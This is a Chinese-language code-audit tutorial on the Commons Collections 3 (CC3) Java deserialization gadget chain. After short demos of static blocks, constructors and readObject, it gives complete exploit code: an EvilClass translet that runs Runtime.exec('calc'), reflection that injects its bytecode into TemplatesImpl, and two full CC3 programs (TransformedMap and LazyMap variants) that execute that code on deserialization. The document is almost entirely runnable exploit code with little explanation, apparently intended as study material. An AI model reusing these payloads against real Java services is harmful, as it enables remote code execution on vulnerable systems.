代码审计 | CC3链 —— 实例化 vs 反序列化 InvokerTransformer vs InstantiateTransformer

package org.example;
​
import java.io.*;
​
public class TestReadObject {
    public static void main(String[] args) throws Exception {
        System.out.println("=== 第一次正常实例化 ===");
        PersonReadObject p1 = new PersonReadObject();
        p1.name = "Alice";
​
        System.out.println("\n=== 序列化 ===");
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("person.ser"));
        oos.writeObject(p1);
        oos.close();
​
        System.out.println("\n=== 反序列化 ===");
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("person.ser"));
        PersonReadObject p2 = (PersonReadObject) ois.readObject();
        ois.close();
        System.out.println("反序列化后 name = " + p2.name);
​
        System.out.println("\n=== 第二次正常实例化 ===");
        PersonReadObject p3 = new PersonReadObject();
        p3.name = "Bob";
    }
}
​
class PersonReadObject implements Serializable {
    String name;
    static { System.out.println("静态块（类加载时执行一次）"); }
    public PersonReadObject() { System.out.println("构造方法（每次 new 都执行）"); }
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        System.out.println("readObject（反序列化时执行）");
        in.defaultReadObject();
    }
}

package org.example;
​
public class TestNewInstance {
    public static void main(String[] args) throws Exception {
        System.out.println("========== 1. 直接 new（类首次加载，触发静态块+构造方法） ==========");
        PersonNewInstance p1 = new PersonNewInstance();
​
        System.out.println("\n========== 2. 反射 newInstance（类已加载，只触发构造方法） ==========");
        Class<?> clazz = Class.forName("org.example.PersonNewInstance");
        PersonNewInstance p2 = (PersonNewInstance) clazz.newInstance();
​
        System.out.println("\n========== 3. 再直接 new 一次（只触发构造方法） ==========");
        PersonNewInstance p3 = new PersonNewInstance();
    }
}
​
class PersonNewInstance {
    static {
        System.out.println("【静态块】类加载时执行，仅一次");
    }
    public PersonNewInstance() {
        System.out.println("【构造方法】创建对象时执行");
    }
}

Class<?> clazz = Class.forName("org.example.PersonNewInstance");
PersonNewInstance p2 = (PersonNewInstance) clazz.newInstance();

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object handler = constructor.newInstance(Target.class, transformedMap);

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues)

public class EvilClass extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
​
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
​
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

byte[] code = Files.readAllBytes(Paths.get("target\\classes\\org\\example\\EvilClass.class"));

TemplatesImpl templates = new TemplatesImpl();

// 通用的反射修改私有字段模板
Field field = TargetClass.class.getDeclaredField("fieldName");
field.setAccessible(true);
field.set(instance, value);

// 设置 _name（不能为 null）
Field nameField = TemplatesImpl.class.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "EvilClass");
​
// 设置 _bytecodes（注意是二维字节数组）
Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{code});

private transient TransformerFactoryImpl _tfactory = null;

new TransletClassLoader(ObjectFactory.findClassLoader(), _tfactory.getExternalExtensionsMap());

// 设置 _tfactory
Field tfactoryField = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

// 手动调用 newTransformer() 触发恶意代码
templates.newTransformer(); // 应该弹出计算器

Constructor<TrAXFilter> constructor = TrAXFilter.class.getDeclaredConstructor(Templates.class);
constructor.setAccessible(true);
TrAXFilter filter = constructor.newInstance(templates);

// 构造 ChainedTransformer
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
​
// 触发链条（传入任意对象）
chain.transform("anything");

public class CC3TransformedMap {
    public static void main(String[] args) throws Exception {
        // 1. 构造恶意字节码载体 (TemplatesImpl)
        byte[] bytecode = Files.readAllBytes(Paths.get("target\\classes\\org\\example\\EvilClass.class"));
        TemplatesImpl templates = new TemplatesImpl();
​
        Field f1 = TemplatesImpl.class.getDeclaredField("_bytecodes");
        f1.setAccessible(true);
        f1.set(templates, new byte[][]{bytecode});
​
        Field f2 = TemplatesImpl.class.getDeclaredField("_name");
        f2.setAccessible(true);
        f2.set(templates, "EvilClass");
​
        Field f3 = TemplatesImpl.class.getDeclaredField("_tfactory");
        f3.setAccessible(true);
        f3.set(templates, new TransformerFactoryImpl());
​
        // 2. 构造 CC3 特有的 Transformer 链
        // 利用 TrAXFilter 的构造函数中会调用 templates.newTransformer() 的特性
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]{Templates.class},
                new Object[]{templates}
            )
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
​
        // 3. 使用 TransformedMap 装饰
        // 注意：Key 必须与 AnnotationInvocationHandler 绑定的注解方法名一致
        // JDK 8u65 环境下，Retention.class 有 "value" 成员方法，用它
        Map<String, Object> innerMap = new HashMap<>();
        innerMap.put("value", "dummy");
        Map transformedMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
​
        // 4. 反射构造 AnnotationInvocationHandler
        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
​
        // 使用 @Retention 注解，因为它有名为 "value" 的成员方法
        // 这样 readObject 里的 Map.Entry.setValue 才能被顺利触发
        Object handler = construct.newInstance(java.lang.annotation.Retention.class, transformedMap);
​
        // 5. 序列化与反序列化测试
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(handler);
        byte[] data = baos.toByteArray();
​
        ByteArrayInputStream bais = new ByteArrayInputStream(data);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }
}

public class CC3lazymapExp {
    public static void main(String[] args) throws Exception {
        // 1. 构造恶意 TemplatesImpl 对象
        byte[] bytecode = Files.readAllBytes(Paths.get("target\\classes\\org\\example\\EvilClass.class"));
        TemplatesImpl templates = new TemplatesImpl();
​
        Field f1 = TemplatesImpl.class.getDeclaredField("_bytecodes");
        f1.setAccessible(true);
        f1.set(templates, new byte[][]{bytecode});
​
        Field f2 = TemplatesImpl.class.getDeclaredField("_name");
        f2.setAccessible(true);
        f2.set(templates, "EvilClass");
​
        Field f3 = TemplatesImpl.class.getDeclaredField("_tfactory");
        f3.setAccessible(true);
        f3.set(templates, new TransformerFactoryImpl());
​
        // 2. 构造 ChainedTransformer（CC3 的精髓：用 InstantiateTransformer 替代 InvokerTransformer）
        Transformer[] cc3Transformers = new Transformer[]{
            new ConstantTransformer(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]{javax.xml.transform.Templates.class},
                new Object[]{templates}
            )
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(cc3Transformers);
​
        // 3. 经典的 LazyMap 装饰
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
​
        // 4. 经典的 AnnotationInvocationHandler 动态代理触发
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
​
        // 代理 lazyMap
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Override.class, lazyMap);
        Map mapProxy = (Map) Proxy.newProxyInstance(
            CC3lazymapExp.class.getClassLoader(),
            new Class[]{Map.class},
            handler
        );
​
        // 再次包装，为了在 readObject 时触发 mapProxy.entrySet() -> handler.invoke() -> lazyMap.get()
        InvocationHandler finalHandler = (InvocationHandler) construct.newInstance(Override.class, mapProxy);
​
        // 5. 序列化与反序列化测试
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(finalHandler);
        byte[] serializeData = baos.toByteArray();
​
        ByteArrayInputStream bais = new ByteArrayInputStream(serializeData);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }
}

// 方式1: InvokerTransformer（更像 CC1 的变种）
Transformer[] invokerChain = new Transformer[]{
    new ConstantTransformer(templates),
    new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{})
};
​
// 方式2: InstantiateTransformer（标准 CC3）
Transformer[] instantiateChain = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};